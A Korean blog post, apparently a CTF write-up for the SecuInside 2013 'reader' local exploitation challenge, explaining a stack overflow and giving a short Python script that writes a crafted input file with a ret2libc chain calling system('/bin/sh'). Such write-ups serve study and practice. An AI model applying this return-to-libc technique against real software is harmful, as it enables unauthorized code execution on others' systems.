뭔가 엄청 오랜만에 풀어본 것 같은 로컬 익스플로잇 문제였다.
분석하는 데에 몇 시간 걸렸는데 막상 제대로 익스플로잇 짠 시간은 몇분...
이 프로그램이 뭐하는 프로그램인지 제대로 분석해야 뭔가를 할 수 있다고 생각해서 보자마자 분석했는데,
그러길 잘한 것 같다.
이 문제만의 포맷으로 새로운 파일을 읽어들이는 방식을 만들어 둔 거라 규칙에 맞게 파일을 만들어야 한다.
왠지 코어파일이 덮어씌워지지가 않아서 한참을 삽질했다 (-_-;;
ulimit -s unlimited 로 시스템과 binsh를 알아낸 후 RTL로 풀면 간단하게 풀 수 있다.
터지는 부분은 출력 함수 부분에서 size2 에 &i를 대입했기 때문에 일어나는 스택 오버플로우.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | import struct import os p32 = lambda x: struct.pack("<L", x) system = 0x4007c190 binsh = 0x4019ca24 data = "\xffSECUINSIDE\x00" + "A\x00"+"A"*0x62 + "\xff\xff\xff\xff" data += p32(8) + p32(8) + p32(0x32) + p32(0) + "." data += "A"*20+"BBBB"+"CCCC"+"DDDD"+"EEEE"+p32(system)+"GGGG"+p32(binsh)+"IIII"+"JJJJ" f = open("reader.sec", "w") f.write(data) f.close() os.system('./reader reader.sec') | cs |
'CTF > 지난 대회' 카테고리의 다른 글
Plaid CTF 2013 - ropasaurusrex (with pwntools) (0) | 2016.02.29 |
---|---|
SecuInside 2013 - PE_time (0) | 2016.01.13 |
SecuInside 2013 - givemeshell (0) | 2016.01.13 |
Codegate Junior 2015 Prequal - systemshock (0) | 2015.12.05 |
Codegate 2013 Prequal - vuln 300 (0) | 2015.11.21 |